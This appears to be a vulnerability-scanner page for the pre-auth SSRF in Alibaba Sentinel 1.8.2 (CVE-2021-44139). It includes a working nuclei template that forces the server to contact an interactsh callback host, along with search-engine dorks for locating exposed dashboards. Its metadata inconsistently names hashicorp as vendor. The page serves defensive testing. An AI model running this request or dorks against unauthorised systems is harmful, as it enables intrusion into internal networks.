Alibaba Sentinel - Server-side request forgery (SSRF)

highseverity

7.5CVSS score

5.6%likelihood of exploitation, next 30 days

93%of all CVEs are less likely

Readycheck to confirm it

There is a Pre-Auth SSRF vulnerability in Alibaba Sentinel version 1.8.2, which allows remote unauthenticated attackers to perform SSRF attacks via the /registry/machine endpoint through the ip parameter.

Impact

Successful exploitation of this vulnerability could allow an attacker to send crafted requests from the server, potentially leading to unauthorized access to internal resources or network scanning.

Fix

Apply the latest security patches or updates provided by Alibaba Sentinel to fix the SSRF vulnerability (CVE-2021-44139).

How to confirm it

Send: GET {{BaseURL}}/registry/machine?app={{rand_base(5)}}&appType=0&version=0&hostname={{rand_base(5)}}&ip={{interactsh-url}}&port=0
Positive when: contains in interactsh_protocol "dns" AND contains in header "application/json" AND contains "\"success\":true" and "\"msg\":\"success\""

Run it with nuclei: nuclei -id CVE-2021-44139 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-44139

info:
  name: Alibaba Sentinel - Server-side request forgery (SSRF)
  author: DhiyaneshDK
  severity: high
  description: |
    There is a Pre-Auth SSRF vulnerability in Alibaba Sentinel version 1.8.2, which allows remote unauthenticated attackers to perform SSRF attacks via the /registry/machine endpoint through the ip parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to send crafted requests from the server, potentially leading to unauthorized access to internal resources or network scanning.
  remediation: |
    Apply the latest security patches or updates provided by Alibaba Sentinel to fix the SSRF vulnerability (CVE-2021-44139).
  reference:
    - https://github.com/alibaba/Sentinel/issues/2451
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-44139
    cwe-id: CWE-918
    epss-score: 0.05643
    epss-percentile: 0.93025
    cpe: cpe:2.3:a:hashicorp:sentinel:1.8.2:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: hashicorp
    product: sentinel
    shodan-query:
      - title:"Sentinel Dashboard"
      - http.title:"sentinel dashboard"
    fofa-query: title="sentinel dashboard"
    google-query: intitle:"sentinel dashboard"
  tags: cve2021,cve,ssrf,alibaba,oast,misconfig,sentinel,hashicorp,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/registry/machine?app={{rand_base(5)}}&appType=0&version=0&hostname={{rand_base(5)}}&ip={{interactsh-url}}&port=0"

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the DNS Interaction
        words:
          - "dns"

      - type: word
        part: header
        words:
          - application/json

      - type: word
        part: body
        words:
          - '"success":true'
          - '"msg":"success"'
        condition: and

References

https://github.com/alibaba/Sentinel/issues/2451

Use this check only on systems you are authorised to test. Where the data comes from